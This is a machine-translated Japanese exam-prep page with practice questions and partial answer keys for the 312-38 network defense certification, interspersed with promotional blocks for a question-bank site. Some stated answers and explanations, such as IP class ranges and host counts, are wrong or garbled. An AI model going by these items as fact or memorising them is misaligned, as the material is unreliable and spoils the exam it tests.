回答オプションAが正しくありません。通信セキュリティは、送信中のデータと情報の保護に対処するのに役立ちます。

質問: **37**
ネットワーク管理者のSamは、Wiresharkを使用して組織のネットワークトラフィックを監視しています。彼は、特定の攻撃の試みをチェックするためにフラグが設定されていないTCPパケットを検出したいと考えています。トラフィックを表示するために彼はどのフィルターを使用しますか？
A. Tcp.flags == 0000x
B. Tcp.flags == x0000
C. Tcp.flags == 0x000
D. Tcp.flags == 000x0
正解: **(**正解を表示します**)**

質問: **38**
ネットワーク上のハニーポットの場所はどこですか？
A. ハニーネット
B. DMZ
C. ハニーファーム
D. ハブ
正解: **(**正解を表示します**)**

質問: **39**
次のシステムのうち、独立したNASヘッドと複数のストレージアレイが含まれているのはどれですか？
A. 統合NASシステム
B. FreeNAS
C. ゲートウェイNASシステム
D. これらのどれも
正解: **C (**コメントを発表する**)**

質問: **40**
_____メカニズムでは、システムまたはアプリケーションがローカルディスクまたはネットワーク経由でログレコードを送信します。
A. ホストベース
B. ネットワークベース
C. プッシュベース
D. プルベース

正解: **(**正解を表示します**)**

質問: **41**
Johnは、Tech World Incのインシデントディレクターとして働いています。彼の仕事は、組織内にワイヤレスネットワークをセットアップすることです。この目的のために、彼は適切な機器を決定する必要があり、ポリシーはネットワークを設定する必要があります。彼がタスクを達成するのを助けるためのインシデント処理プロセスの次の段階のどれですか？
A. の根絶
B. なし
C. 準備
D. 封じ込め
E. 回復
正解: **C (**コメントを発表する**)**

質問: **42**
次のうち、多くの場合、商用コンテンツを含む、大量の無差別な受信者の実質的に迷惑な電子メールメッセージはどれですか？それぞれの正解は完全な解決策を表しています。
A. スパム
B. メール詐欺
C. メールによる嫌がらせ
正解: **(**正解を表示します**)**

質問: **43**
経営陣は、組織を情報セキュリティリスク管理のISO標準に準拠させたいと考えています。管理者はどのISO規格を実装することを決定しますか？
A. ISO / IEC 27005
B. ISO / IEC 27006
C. ISO / IEC 27004
D. ISO / IEC 27002
正解: **(**正解を表示します**)**

質問: **44**
次のIEEE標準のうち、デマンドプライオリティアクセス方式を定義しているのはどれですか？
A. 802.12
B. 802.11
C. 802.15
D. 802.3
正解: **(**正解を表示します**)**

質問: **45**

次のインシデント処理段階のうち、インシデントの根本原因を取り除くのはどれですか？
A. 回復
B. 根絶
C. 封じ込め
D. 検出
正解: (正解を表示します)

質問: **46**
重要なデータをウイルス攻撃から保護するための最良の方法は次のうちどれですか？
A. ファイアウォールを実装します。
B. ウイルス対策ソフトウェアを定期的に更新します。
C. データの毎日のバックアップを取ります。
D. 強力なパスワードを使用してネットワークにログオンします。
正解: (正解を表示します)
ウイルス対策ソフトウェアを定期的に更新することは、重要なデータをウイルス攻撃から保護するための最良の方法です。

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **47**
あなたはネットワークセキュリティアナライザーとして働いています。フォレンジックプロジェクトに取り組んでいるときに、不審なメールが届きました。ここで、送信者のIPアドレスを知り、さまざまなツールやリソースを使用して、電子メール送信者の実際の場所、ドメイン情報、使用されているオペレーティングシステム、連絡先情報などのさまざまな情報を分析できるようにします。。また、このメールが偽物か本物かを確認する必要があります。このような場合、電子メールヘッダーの分析が出発点として適していることをご存知でしょう。疑わしい電子メールの電子メールヘッダーを以下に示します。
このメールの送信者のIPアドレスは何ですか？
A. 209.191.91.180
B. 141.1.1.1
C. 172.16.10.90
D. 216.168.54.25
正解: (正解を表示します)

このメールの送信者のIPアドレスは216.168.54.25です。シナリオに応じて、送信者のIPアドレスを知り、電子メール送信者の実際の場所、ドメイン情報、使用されているオペレーティングシステム、連絡先情報などのさまざまな情報をさまざまな助けを借りて分析できるようにします。ツールとリソース。また、このメールが偽物か本物かを確認する必要があります。このような場合、電子メールヘッダーの分析が出発点として適していることをご存知でしょう。電子メールヘッダーの分析を開始すると、X-Originating-IPというタイトルのエントリが表示されます。Yahooでは、X-Originating-IPが電子メール送信者のIPアドレスであり、この場合、必要なIPアドレスは216.168.54.25です。回答オプションA、C、およびBが正しくありません。これらはすべて、YahooサーバーとWetpaintサーバーのIPアドレスです。

質問: **48**
正しいテキスト
空欄に適切な用語を記入してください。_____は、目的の受信者への電子メール配信を監視するための方法です。
正解:
メール追跡
Explanation:
電子メール追跡は、目的の受信者への電子メール配信を監視するための方法です。ほとんどの追跡技術は、デジタルタイムスタンプ付きの何らかの形式の記録を利用して、電子メールが受信または開封された正確な日時と、受信者のIPアドレスを明らかにします。ユーザーがそのようなツールを使用して電子メールを送信したり、電子メールを転送したり、電子メールに返信したり、電子メールを変更したりすると、結果のアクションと元の電子メールの追跡がログに記録されます。送信者には、自動生成された電子メールによって、追跡された電子メールに対して実行されたすべてのアクションが通知されます。eMailTracker ProとMailTracking.comは、電子メールの追跡を実行するために使用できるツールです。

質問: **49**
正しいテキスト
空欄に適切な用語を記入してください。コンピューティングでは、_____はデータを順番に読み取るデータストレージデバイスのクラスです。
正解:
SAM
Explanation:
コンピューティングでは、シーケンシャルアクセスメモリ（SAM）は、データを順番に読み取るデータストレージデバイスのクラスです。これは、データに任意の順序でアクセスできるランダムアクセスメモリ（RAM）とは対照的です。シーケンシャルアクセスデバイスは通常、磁気メモリの一種です。シーケンシャルアクセスメモリは順番に読み取られますが、要求された場所に「シーク」することで、任意の場所にアクセスできます。磁気シーケンシャルアクセスメモリは、RAMに比べて密度が高く、コストが低く、摩耗や不揮発性に強いため、通常、汎用コンピュータのセカン

ダリストレージに使用されます。SAMデバイスの例には、ハードディスク、CD-ROM、および磁気テープが含まれます。

質問: **50**
Heatherは、リモートオフィスへのVPNトンネルの設定と実装を担当しています。彼女はおそらく、オフィスを接続するためにIPsecVPNトンネルを実装するでしょう。OSIモデルのどのレイヤーでIPsecトンネルが機能しますか？
A. アプリケーションまたは物理層のいずれかで機能します。
B. セッション層で機能します。
C. データリンク層で機能します
D. ネットワーク層で動作します
正解: **(**正解を表示します**)**

質問: **51**
次のツールのうち、システムの既知の弱点を調べて管理者に警告するのはどれですか？
A. サタン
B. COPS
C. 聖人
D. Nessus
正解: **(**正解を表示します**)**

質問: **52**
VPNおよびファイアウォール機能を実行するシスコ製品は次のうちどれですか？
A. IPパケットフィルタリングファイアウォール
B. PIXファイアウォール
C. アプリケーションレベルのファイアウォール
D. 回路レベルのゲートウェイ
正解: **B (**コメントを発表する**)**

質問: **53**
攻撃対象領域を分析するための正しい手順の順序を選択してください。
A. 露出の指標を特定する–攻撃対象領域を視覚化する–攻撃対象領域をシミュレートする–攻撃対象領域を減らす
B. 攻撃対象領域を視覚化する–露出の指標を特定する–攻撃をシミュレートする–攻撃対象領域を減らす
C. 露出の指標を特定する–攻撃をシミュレートする–攻撃対象領域を視覚化する–攻撃対象領域を減らす
D. 攻撃対象領域を視覚化する–攻撃をシミュレートする–露出の指標を特定する–攻撃対象領域を減らす
正解: **(**正解を表示します**)**

質問: **54**
管理者は、IDSを使用して、大量のトラフィックを監視および検査し、組織内からの不正な試みを検出したいと考えています。IDSセンサーを展開する正確な場所を認識できません。彼がIDSセンサーを配置する場所を見つけるのを手伝ってもらえますか？
A. ロケーション1
B. ロケーション3
C. ロケーション4
D. ロケーション2
正解: **(**正解を表示します**)**

質問: **55**
攻撃は次のうちどれに分類されますか？それぞれの正解は完全な解決策を表しています。
該当するものをすべて選択してください。
A. 受動的攻撃
B. リプレイアタック
C. アクティブアタック
D. セッションハイジャック
正解: **A,C (**コメントを発表する**)**

質問: **56**
次のアプリケーションのうち、ログファイルの統計分析とレポートに使用されるのはどれですか？
A. 製材所
B. jplag
C. Snort
D. スニファー
正解: **A (**コメントを発表する**)**

質問: **57**
燃焼に関連する環境変化を監視することにより、不要な火災の存在を検出するように設計されているのは次のうちどれですか？
A. スプリンクラー
B. 消火システム
C. 火災警報システム
D. ガス消火
正解: **C (**コメントを発表する**)**
自動火災警報システムは、燃焼に関連する環境変化を監視することにより、不要な火災の存在を検出するように設計されています。一般に、火災警報システムは、自動作動、手動作動、またはその両方に分類されます。自動火災警報システムは、火災やその他の緊急事態が発生した場合に建物

の居住者に避難するよう通知し、緊急サービスを呼び出すために施設外の場所にイベントを報告し、制御する構造と関連システムを準備することを目的としています。火災と煙の広がり。
回答オプションBが正しくありません。消火システムは、煙探知器や火災警報システムと組み合わせて使用され、公共の安全を向上させます。
回答オプションDが正しくありません。ガス消火は、不活性ガスと化学薬品を使用して消火することを表す用語です。
回答オプションAが正しくありません。スプリンクラーは、所定の温度に達したときなど、火災の影響が検出されたときに水を排出するスプリンクラーシステムの一部です。

質問: **58**
従来とは異なるIPスタックパラメータでパケットを送信するネットワーク分析ツールは次のうちどれですか？
A. COPS
B. Nessus
C. HPing
D. 聖人
正解: **(**正解を表示します**)**

質問: **59**
Linux用の無料のセキュリティ監査ツールは次のうちどれですか？
A. Nessus
B. HPing
C. 聖人
D. サタン
正解: **(**正解を表示します**)**

質問: **60**
次のプロトコルのうち、データ送信のためにリモート認証ダイヤルインユーザーサービス（RADIUS）クライアント/サーバープロトコルで使用されているものはどれですか？
A. UDP
B. FCP
C. FTP
D. DCCP
正解: **(**正解を表示します**)**

質問: **61**
次のタイプのRAIDのうち、パリティディスクを保護しないものはどれですか？
A. RAID 5
B. RAID 1
C. RAID 2

D. RAID 3
正解: **D** (コメントを発表する)

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **62**
次のうち、任意の数のモバイル通信をサポートするネットワークはどれですか
無線LANと衛星カバレッジエリア？
A. LAN
B. WAN
C. GAN
D. ハン
正解: (正解を表示します)
グローバルエリアネットワーク（GAN）は、
任意の数の無線LAN、衛星カバレッジエリアなど。モバイル通信における重要な課題
は、あるローカルカバレッジエリアから次のローカルカバレッジエリアにユーザー通信を渡します。
回答オプションBが正しくありません。ワイドエリアネットワーク（WAN）は、地理的に分散した通信です
通信網。この用語は、より広範な通信構造をローカルエリアネットワーク（LAN）と区別します。A広域ネットワークは個人所有または賃貸することができますが、この用語は通常、公共のネットワークを含むことを意味します
（共有ユーザー）ネットワーク。地理的な観点から見たネットワークの中間形態は、メトロポリタンエリアネットワークです。
（男）ワイドエリアネットワークは、LANをワイドで相互接続するため、ネットワークのネットワークとしても定義されます。
地理的領域。
回答オプションDが正しくありません。ホームエリアネットワーク（HAN）は、通信に使用される住宅用LANです。
通常、家庭に配備されているデジタルデバイス間、通常は少数のパーソナルコンピュータとプリンタやモバイルコンピューティングデバイスなどのアクセサリ。
回答オプションAが正しくありません。ローカルエリアネットワーク（LAN）は、
居住地、教育機関、研究所、その他のさまざまな制限された地理的領域

組織。これにより、ユーザーはファイルやサービスを共有でき、オフィス内で一般的に使用されます
コミュニケーション。LANは、専用回線、専用サービス、またはトンネリングを介して他のLANと接続します。
仮想プライベートネットワークテクノロジーを使用してインターネット全体で。

質問: **63**
クリスは上級ネットワーク管理者です。クリスは、組織を評価するために主要リスク指標（KRI）を測定したいと考えています。クリスが自分の組織のKRIを計算しているのはなぜですか？これは、クリスが次のことを行うのに役立ちます。
A. 後方への促進
B. 有害事象を特定します
C. インシデント後の管理を容易にします
D. リスクがしきい値レベルに達したときに通知します
正解: **B,D** (コメントを発表する)

質問: **64**
次のうち、許可されていないすべてのインバウンドおよび/またはアウトバウンドトラフィックをブロックするのに役立つのはどれですか？
A. ファイアウォール
B. スニファー
C. IPS
D. IDS
正解: (正解を表示します)

質問: **65**
医療サービス会社の従業員が、攻撃者から送信された電子メールの悪意のあるリンクをクリックしました。突然、会社の従業員は、暗号化されているため、請求情報やクライアントレコードにアクセスできなくなります。攻撃者は、データにアクセスするためにお金を払うように会社に依頼しました。上記のマルウェア攻撃の種類はどれですか？
A. ランサムウェア
B. ルートキット
C. トロイの木馬
D. 論理爆弾
正解: **A** (コメントを発表する)

質問: **66**
Larryは、デトロイトの製造会社で働くネットワーク管理者です。Larryは、300台のワークステーションと25台のサーバーで構成される会社のネットワーク全体を担当しています。ホスト型の電子メールサービスを1年間使用した後、同社はコストを削減し、電子メール制御を内部に持ち込み

たいと考えています。Larryは、このアイデアが気に入っています。これにより、電子メールをより細かく制御できるようになります。ラリーは電子メール用のサーバーを購入したいと考えていますが、セキュリティ上のリスクを引き起こす可能性があるため、サーバーを内部ネットワーク上に配置することは望んでいません。彼は、電子メールサーバーを会社の内部ファイアウォールの外側に配置することにしました。インターネットに直接接続された別のファイアウォールがあり、一部のトラフィックが電子メールサーバーにアクセスするのを防ぎます。サーバーは基本的に2つのファイアウォールの間に配置されます。
A. セキュリティ上の理由から、Larryは電子メールサーバーを会社のLogical Buffer Zone（LBZ）に配置します。
B. ラリーはメールサーバーをホットサーバーゾーンに配置します。
C. 彼はサーバーを非武装地帯（DMZ）に配置しようとしています。
D. 彼は電子メールサーバーをIPSecゾーンに配置します。
正解: **C** (コメントを発表する)

質問: **67**
次のレイヤーのうち、IPデータグラムのルーティングを実行するのはどれですか？
A. リンク層
B. インターネット層
C. アプリケーション層
D. トランスポート層
正解: **B** (コメントを発表する)

質問: **68**
次のIPクラスアドレスのうち、ホストに割り当てられていないものはどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。
A. クラスC
B. クラスD
C. クラスA
D. クラスB
E. クラスE
正解: **B,E** (コメントを発表する)
クラスアドレスDおよびEはホストに割り当てられていません。クラスDアドレスはマルチキャスト用に予約されており、そのアドレス範囲は224から239まで拡張できます。クラスEアドレスは、実験目的で予約されています。それらのアドレスの範囲は240から254です。回答オプションCは正しくありません。クラスAアドレスは、大規模ネットワーク用に指定されています。最大16,777,214のクライアントデバイス（ホスト）で構成され、それらのアドレス範囲は1から126まで拡張できます。回答オプションDは正しくありません。クラスBアドレスは、中規模ネットワーク用に指定されています。最大65,534のクライアントデバイスで構成され、それらのアドレス範囲は128から191まで拡張できます。回答オプションAは正しくありません。クラスCアドレスは、小

規模なローカルエリアネットワーク（LAN）に指定されています。最大245台のクライアントデバイスで構成され、それらのアドレス範囲は192から
223。

質問: **69**
次のうち、通信プロトコルがすべてのメンバーIPマルチキャストグループのメッセージと情報をマルチキャストするのはどれですか？
A. IGMP
B. ICMP
C. BGP
D. EGP
E. なし
正解: **(**正解を表示します**)**

質問: **70**
正しいテキスト
空欄に適切な用語を記入してください。_____layerは、ローカルアプリケーションとリモートアプリケーション間の接続を確立、管理、および終了します。
正解:
セッション
Explanation:
OSI / RMのセッション層は、コンピューター間の対話（接続を制御します。ローカルアプリケーションとリモートアプリケーション間の接続を確立、管理、および終了します。全二重、半二重、またはシンプレックス操作を提供し、チェックポイント、停止、終了、および再起動の手順を確立します。OSIモデルにより、この層は、伝送制御プロトコルのプロパティであるセッションの正常なクローズと、インターネットプロトコルスイートでは通常使用されないセッションチェックのポインティングとリカバリを担当します。セッション層は通常、リモートプロシージャコールを使用するアプリケーション環境で明示的に実装されます。

質問: **71**
空白を埋める
空欄に適切な用語を記入してください。_____レイヤーは、確立、管理、および終了します
ローカルアプリケーションとリモートアプリケーション間の接続。
正解:
セッション
Explanation:
OSI / RMのセッション層は、コンピューター間の対話（接続を制御します。それは確立します、ローカルアプリケーションとリモートアプリケーション間の接続を管理および終了します。全二重を提供し、

半二重、またはシンプレックス操作であり、チェックポインティング、停止、終了、および再起動を確立します
手順。OSIモデルにより、このレイヤーはセッションの正常な終了を担当します。これは、
伝送制御プロトコル、および通常は使用されないセッションチェックのポインティングとリカバリにも使用されます
インターネットプロトコルスイートで。セッション層は通常、アプリケーションで明示的に実装されます
リモートプロシージャコールを使用する環境。

質問: **72**
既存のネットワークのセキュリティを引き継いでいます。そのように使用されていないが、機密データベースサーバーのアクティビティをエミュレートするソフトウェアがインストールされているマシンを発見しました。これは何ですか？
A. ポリモルフィックウイルス
B. ウイルス
C. リアクティブIDS。
D. ハニーポット
正解: **D** (コメントを発表する)
ハニーポットは、データベースサーバーやネットワークのサブセクション全体など、価値の高いターゲットをエミュレートするために特別に設計されたデバイスです。ハッカーの注意を引くように設計されています。

質問: **73**
フランクはメンフィスの中規模の法律事務所で働くネットワーク技術者です。フランクと他の2人のIT従業員は、会社のすべての技術的ニーズに対応します。同社のパートナーは、従業員がネットワークケーブルに縛られることなく自由に動き回れるように、安全なワイヤレスネットワークをオフィスに実装することを求めています。フランクと彼の同僚は有線イーサネットテクノロジー802.3に精通していますが、ビジネス環境でワイヤレスをセットアップする方法には精通していません。フランクと他のIT従業員がワイヤレスに慣れるには、どのIEEE標準に従う必要がありますか？
A. 802.11標準に従う必要があります
B. ワイヤレスを対象とするIEEE標準は802.9であり、これに従う必要があります。
C. 802.7はワイヤレス規格をカバーしているため、従う必要があります
D. フランクと他のIT従業員は、802.1標準に従う必要があります。
正解: **A** (コメントを発表する)

質問: **74**
揮発性メモリについて正しい説明は次のうちどれですか？それぞれの正解は完全なものを表しています
解決。該当するものをすべて選択してください。

A. 読み取り専用メモリ（ROM）は、揮発性メモリの例です。
B. コンテンツは永続的に保存され、電源もオフになっています。
C. 揮発性ストレージデバイスは、データの読み取りと書き込みが高速です。
D. 保存された情報を維持するために電力を必要とするのはコンピュータのメモリです。
正解: **(**正解を表示します**)**
揮発性メモリは、揮発性ストレージとも呼ばれ、を維持するために電力を必要とするコンピュータメモリです。
維持された電源を必要としない不揮発性メモリとは異なり、保存された情報。それはそうだったあまり一般的には一時メモリとして知られていません。最新のランダムアクセスメモリ（RAM）のほとんどの形式は揮発性です
ダイナミックランダムアクセスメモリ（DRAM）およびスタティックランダムアクセスメモリ（SRAM）を含むストレージ。A
揮発性ストレージデバイスは、データの読み取りと書き込みが高速です。回答オプションBとAは正しくありません。不揮発性
メモリ、不揮発性メモリ、NVM、または不揮発性ストレージは、最も基本的な意味で、
電源が入っていないときでも、保存されている情報を保持できます。不揮発性メモリの例には、読み取り専用が含まれます
メモリ、フラッシュメモリ、ほとんどの種類の磁気コンピュータストレージデバイス（ハードディスク、フロッピーディスク、
磁気テープ）、光ディスク、および紙テープやパンチカードなどの初期のコンピュータストレージ方法。

質問: **75**
TCP / IPプロトコルの次のヘッダーフィールドのうち、Ping of Death攻撃に関係するものはどれですか？
A. UDPヘッダーフィールド
B. IPヘッダーフィールド
C. SMTPヘッダーフィールド
D. TCPヘッダーフィールド
正解: **D (**コメントを発表する**)**

質問: **76**
フランクは、ネットワーク内のすべての入力ポイントにWiresharkをインストールしました。ログを見ると、彼は奇妙なパケットソースに気づきました。奇数の送信元のアドレスは1080 :0 :FF :0 : 8 :800 :200C :4171で、ポート21を使用しています。この送信元アドレスは何を意味しますか？
A. この送信元アドレスは、発信者が802dot1xを使用してフランクのネットワークに侵入しようとしていることを示します
B. これはソースがIPv4を使用していることを意味します
C. この送信元アドレスはIPv6であり、13.1.68.3として変換されます

D. このアドレスは、送信元がIPv6アドレスを使用しており、スプーフィングされており、127.0.0.1のIPv4アドレスを示していることを意味します。
正解: (正解を表示します)

有効的な**312-38**問題集はJPNTest.com提供され、**312-38**試験に合格することに役に立ちます！JPNTest.comは今最新**312-38**試験問題集を提供します。JPNTest.com 312-38試験問題集はもう更新されました。ここで**312-38**問題集のテストエンジンを手に入れます。最新版のアクセス、https://www.jpntest.com/shiken/312-38-mondaishu　**732**問、３０%ディスカウント、特別な割引コード: **JPNshiken**」

質問: **77**
次のネットワークスキャンツールのうち、pingスイーパーおよびホスト名リゾルバーとして機能するTCP / UDPポートスキャナーはどれですか？
A. Hping
B. スーパースキャン
C. Netstat
D. Nmap
正解: (正解を表示します)
SuperScanはTCP/UDPポートスキャナーです。また、pingスイーパーおよびホスト名リゾルバーとしても機能します。それ
特定の範囲のIPアドレスにpingを実行し、リモートシステムのホスト名を解決できます。
SuperScanの機能は次のとおりです。
組み込みリストまたは任意の範囲から任意のポート範囲をスキャンします。
任意のIP範囲を使用してpingスキャンとポートスキャンを実行します。
組み込みのエディターを使用して、ポートリストとポートの説明を変更します。
ユーザー指定の「ヘルパー」アプリケーションを使用して、検出された開いているポートに接続します。
伝送速度制御ユーティリティがあります。
回答オプションDが正しくありません。Nmapは、ネットワーク探索とセキュリティ監査のための無料のオープンソースユーティリティです。これは、コンピュータネットワーク上のコンピュータとサービスを検出するために使用され、ネットワークの「マップ」を作成します。多くの単純なポートスキャナーと同様に、Nmapはパッシブサービスを検出できます。さらに、Nmapは、リモートコンピュータに関するさまざまな詳細を判別できる場合があります。これらには、オペレーティングシステム、デバイスタイプ、稼働時間、サービスの実行に使用されるソフトウェア製品、その製品の正確なバージョン番号、いくつかのファイアウォール技術の存在、およびローカルエリアネットワークではリモートネットワークカードのベンダーが含まれます。Nmapは
Linux、MicrosoftWindowsなどで実行されます。回答オプションCは正しくありませ

ん。Netstat（ネットワーク統計）は、ネットワーク接続（着信と発信の両方）、ルーティングテーブル、およびネットワークインターフェイスの統計の数。Unix、Unixライク、およびWindowsNTベースのオペレーティングシステムで使用できます。これは、ネットワーク上の問題を検出し、パフォーマンス測定としてネットワーク上のトラフィック量を決定するために使用されます。回答オプションAが正しくありません。Hpingは、TCP/IPプロトコル用の無料のパケットジェネレータおよびアナライザです。Hpingは、ファイアウォールとネットワークのセキュリティ監査とテストのための事実上のツールの1つです。新しいバージョンのhpingであるhping3は、Tcl言語を使用してスクリプト化可能であり、文字列ベースの人間が読める形式のTCP / IPパケットの記述用のエンジンを実装しているため、プログラマーは低レベルのTCP/IPパケットの操作と分析に関連するスクリプトを非常に短い時間。コンピュータセキュリティで使用されるほとんどのツールと同様に、hpingはシステム管理者とクラッカー（またはスクリプトキディ）の両方に役立ちます。

質問: **78**
次のOSI層のうち、ローカルアプリケーションとリモートアプリケーション間の接続を確立、管理、および終了するのはどれですか？
A. データリンク層
B. ネットワーク層
C. アプリケーション層
D. セッション層
正解: **(**正解を表示します**)**
OSI / RMのセッション層は、コンピューター間の対話（接続）を制御します。ローカルアプリケーションとリモートアプリケーション間の接続を確立、管理、および終了します。全二重、半二重、またはシンプレックス操作を提供し、チェックポイント、停止、終了、および再起動の手順を確立します。OSIモデルにより、このレイヤーは、伝送制御プロトコルのプロパティであるセッションの正常なクローズと、インターネットプロトコルスイートでは通常使用されないセッションのチェックポイントと回復を担当します。セッション層は通常、リモートプロシージャコールを使用するアプリケーション環境で明示的に実装されます。
回答オプションCは正しくありません。TCP / IPモデルのアプリケーション層は、ネットワーク通信のためにほとんどのアプリケーションで使用される高レベルのプロトコルを指します。アプリケーション層プロトコルの例には、ファイル転送プロトコル（FTP）および簡易メール転送プロトコル（SMTP）が含まれます。次に、アプリケーション層プロトコルに従ってコード化されたデータは、1つ以上のトランスポート層プロトコルにカプセル化されます。トランスポート層プロトコルは、実際のデータ転送に影響を与えるために下位層プロトコルを使用します。
回答オプションAが正しくありません。データリンク層は、コンピューターネットワークの7層OSIモデルの層2です。これは、TCP / IP参照モデルのリンク層に対応するか、その一部です。データリンク層は、ワイドエリアネットワーク内の隣接するネットワークノード間、または同じローカルエリアネットワークセグメント上のノード間でデータを転送するプロトコル層です。データリンク層は、ネットワークエンティティ間でデータを転送するための機能的および手続き的な手段を提供し、物理層で発生する可能性のあるエラーを検出し、場合によっては修正する手段を提供す

る場合があります。データリンクプロトコルの例としては、ローカルエリアネットワーク（マルチノード）用のイーサネット、ポイントツーポイントプロトコル（PPP）、HDLC、およびポイントツーポイント（デュアルノード）接続用のADCCPがあります。
回答オプションBが正しくありません。ネットワーク層はサブネットの動作を制御し、ネットワークの状態、サービスの優先度、およびその他の要因に基づいて、データがたどる物理パスを決定します。ルーターは、OSIスタックのネットワーク層で動作します。

質問: **79**
次のUTPケーブルのどれが4対のツイストケーブルを使用し、最大の伝送速度を提供します
16 Mbps？
A. カテゴリー5e
B. カテゴリー3
C. カテゴリー5
D. カテゴリー6
正解: **(**正解を表示します**)**
カテゴリ3タイプのUTPケーブルは、4対のツイストケーブルを使用し、最大16の伝送速度を提供します。
Mbps。これらは、10Mbpsの速度で動作するイーサネットネットワークで一般的に使用されます。より高速なのは
ファストイーサネット（100Base-T4）仕様を実装するこれらのケーブルによっても可能です。このケーブルを使用しています
主に電話システム用。
回答オプションCは正しくありません。このカテゴリのUTPケーブルは、現在最も一般的に使用されているケーブルです。
ネットワーク。これは4つのツイストペアで構成され、100の速度で動作するイーサネットネットワークで使用されます。
Mbps。カテゴリ5ケーブルは、最大1000Mbpsの高速を提供することもできます。
回答オプションAが正しくありません。カテゴリ5拡張ケーブルとも呼ばれます。その仕様はと同じです
カテゴリ5ですが、いくつかの拡張機能があり、1000Mbpsの速度で動作するイーサネットで使用されます。
回答オプションDが正しくありません。このカテゴリのUTPケーブルは、実行される高速ネットワークをサポートするように設計されています
1000Mbpsの速度で。4対のワイヤーで構成され、すべてをデータ伝送に使用します。カテゴリー6は、カテゴリ5eの2倍以上の速度を提供しますが、より高価でもあります。

質問: **80**
Jasonは、www.company.comIncのシステム管理者として働いています。同社にはWindowsベースのネットワークがあります。会社の従業員であるSamは、アプリケーションとシステム設定の一部を誤って変更しました。彼はジェイソンに彼のシステムが適切に機能していないと不平を言っ

ています。問題のトラブルシューティングを行うために、ジェイソンは自分のコンピューターの内部を診断し、サムのコンピューターレジストリにいくつかの変更が加えられていることを確認します。この問題を修正するには、Jasonがレジストリを復元する必要があります。Jasonがタスクを実行するために使用できるユーティリティは次のうちどれですか？それぞれの正解は完全な解決策を表しています。該当するものをすべて選択してください。

A. Reg.exe
B. EventCombMT
C. Regedit.exe
D. 輝かしいレジストラ

正解: **A,C,D** (コメントを発表する)

輝かしいレジストラは、レジストリを維持するための完全で安全なソリューションを管理者とパワーユーザーに提供するツールです。これは、ネットワーク上のデスクトップおよびリモートコンピューターのレジストリを維持するために使用できます。これは、レジストリのバックアップと復元、バックグラウンド検索と置換の高速化、レジストリキーへの説明の追加などのソリューションを提供します。このプログラムは、エクスプローラースタイルのインターフェイスで提供されるため、非常に魅力的で使いやすいです。Windows 2003 / XP / 2K / NT / ME/9xで使用できます。Reg.exeは、Windowsレジストリを編集するために使用されるコマンドラインユーティリティです。キーのインポート、エクスポート、バックアップ、復元、およびキーの比較、変更、削除を行うことができます。WindowsベースのRegedit.exeツールを使用して実行できるほとんどすべてのタスクを実行できます。レジストリエディタ（REGEDIT）は、レジストリ内の情報を確認するために使用できるレジストリ編集ユーティリティです。REGEDIT.EXEを使用すると、ユーザーは文字列、値、キー、およびサブキーを検索でき、特定の値または文字列を見つけるのに役立ちます。ユーザーは、REGEDIT.EXEを使用して、レジストリエントリを追加、削除、または変更することもできます。回答オプションBが正しくありません。EventCombMTは、複数の異なるコンピューターのイベントログで特定のイベントを検索するために使用されるマルチスレッドツールであり、すべて1つの中央の場所から実行されます。これは、システム、アプリケーション、セキュリティ、ファイルレプリケーションサービス（FRS）、ドメインネームシステム（DNS）、およびActive Directory（AD）該当する場合はログに記録します。MTはマルチスレッドの略です。

質問: **81**

悪意のあるハッカーであるPeterは、メッセージ、ブログ、DNSリスト、およびWebページを収集して電子メールアドレスを取得します。次に、彼はこれらのアドレスに多数の迷惑な商用電子メール（UCE）メッセージを送信します。次の電子メールで犯罪を犯しているピーターは何ですか？

A. スパム
B. 電子メールの嵐
C. メールボム
D. 電子メール詐欺
E. なし

正解: **A** (コメントを発表する)

質問: **82**
指先の下側の皮膚の摩擦隆起の印象をとるために使用される生体認証デバイスは次のうちどれですか？
A. 顔認識装置
B. アイリスカメラ
C. 音声認識声紋
D. 指紋リーダー
正解: **(**正解を表示します**)**
指紋リーダーは、指先の下側にある皮膚の摩擦隆起の印象をとるために使用されます。指紋はユーザーの識別に役立ち、すべての人に固有で異なり、時間の経過とともに変化することはありません。DNAを共有する一卵性双生児でさえ、同じ指紋を持っていません。警察や政府機関は、長年にわたって人間を識別するためにこれらのモードを使用してきましたが、他の機関は、さまざまなアプリケーションでの識別に生体指紋リーダーを使用し始めています。指紋は、皮膚の摩擦隆起が汗、油、インク、グリースなどのようなプリントを形成するための薬剤によってプリントを受け入れる表面。次に、エージェントが表面に移動し、指紋を作成する印象を残します。回答オプションBが正しくありません。虹彩カメラは、ある距離から目の虹彩内に見えるランダムなパターンの数学的分析によって、ユーザーの身元の認識検出を実行するために使用されます。これは、コンピュータービジョン、パターン認識、統計的推論、および光学を組み合わせるために使用されます。回答オプションAが正しくありません。顔認識デバイスは、人物の画像またはビデオを表示し、データベースにあるものと比較するのに役立ちます。顔の構造、形状、比率を比較して顔認識を行います。目、鼻、口、顎の距離眼窩の上部輪郭口の側面鼻と目の周囲bonesAnswerオプションCが正しくないことを確認してください。音声認識の声紋はスペクトログラムであり、これは、縦軸に音の周波数、横軸に時間を示すグラフです。さまざまな音声がグラフ上にさまざまな形を作成するのに役立ちます。スペクトログラムはまた、音の音響品質を表すために灰色の色または陰影を使用します。

質問: **83**
次のうち、通常のプログラムのように見える悪意のあるプログラムはどれですか？
A. ウイルス
B. ワーム
C. なりすまし
D. トロイの木馬
正解: **D (**コメントを発表する**)**

質問: **84**
次の攻撃のうち、コンピュータがゾンビとして機能し、連携して偽のメッセージを送信し、それによって偽のトラフィックの量を増やすのはどれですか？
A. スマーフ攻撃
B. バッファオーバーフロー攻撃
C. DDoS攻撃

D. ボンクアタック
正解: **(**正解を表示します**)**
